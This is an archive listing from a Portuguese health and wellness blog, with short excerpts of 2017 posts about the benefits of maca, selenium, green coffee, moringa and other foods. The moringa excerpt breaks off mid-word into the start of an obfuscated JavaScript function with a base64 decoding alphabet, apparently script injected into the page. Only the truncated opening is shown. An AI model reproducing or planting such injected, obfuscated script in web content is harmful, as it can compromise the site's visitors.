Ago 8, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios da maca do Peru A maca do Peru ou a maca peruana é uma planta medicinal do Peru. Está muito associada ao aumento do desejo sexual, mas tem muitos mais benefícios. Por isso, fique com estas dicas saudáveis sobre os benefícios da...
Ago 3, 2017 | Saúde e bem estar
Dicas saudáveis: 8 Benefícios do selénio para o nosso organismo Hoje trago-lhe mais dicas saudáveis: 8 benefícios do selénio! Já conhece este mineral? Saiba que o seu consumo é óptimo para o nosso organismo já que protege o nosso coração, fortalece o nosso sistema...
Ago 1, 2017 | Saúde e bem estar
Dicas saudáveis – Benefícios do café verde Café verde? Nunca ouviu falar? Pois é, para além do café que costumamos beber existem outras variações muito benéficas para a nossa saúde, como é o caso do café verde. Se não conhece esta bebida que contém muitos...
Jul 27, 2017 | Saúde e bem estar
Dicas saudáveis – Benefícios das sementes de sésamo As sementes de sésamo, além de possuírem um sabor muito agradável, parecido com noz, são uma óptima fonte de nutrientes, e logo de benefícios para nossa vida e saúde. É por isso que hoje lhe falo sobre as...
Jul 25, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios da Calêndula Conhece a calêndula? Pode parecer um nome incomum, mas é uma planta muito benéfica para a pele e para o cabelo. Saiba ainda que a calêndula não tem apenas estes benefícios, pois trata doenças e auxilia também em...
Jul 23, 2017 | Saúde e bem estar
10 Aperitivos saudáveis para comer neste verão Nesta altura do ano, os almoços, jantares e petiscos com os amigos são quase inevitáveis. No entanto não podemos descuidar a nossa saúde e por isso, hoje trago-lhe 10 aperitivos saudáveis para comer neste verão! Faça...
Jul 20, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios de alfafa + receita salada A alfafa é rica em vitaminas A, C, D, E, K e melhora o funcionamento do sistema imunitário, além de ajudar a eliminar o cansaço. É também rica em cálcio, potássio, ferro e diversos outros minerais. Como...
Jul 17, 2017 | Saúde e bem estar
Cuidados e alimentos para prevenir e tratar as aftas As aftas são pequenas feridas que surgem no interior da boca e que são realmente muito incómodas e desagradáveis. Hoje mostro-lhe alguns cuidados que terá de ter e os alimentos que terá de consumir para prevenir...
Jul 13, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios da moringa A moringa tem muitos benefícios, já que possui uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Jul 12, 2017 | Saúde e bem estar
Os 10 alimentos que pode comer à vontade Ter uma alimentação saudável deveria ser uma prioridade de todos nós, mas, para muitos, escolher os produtos certos nem sempre é fácil. É por isso que fiz este artigo. Conheça aqui os 10 alimentos que pode comer à vontade e...
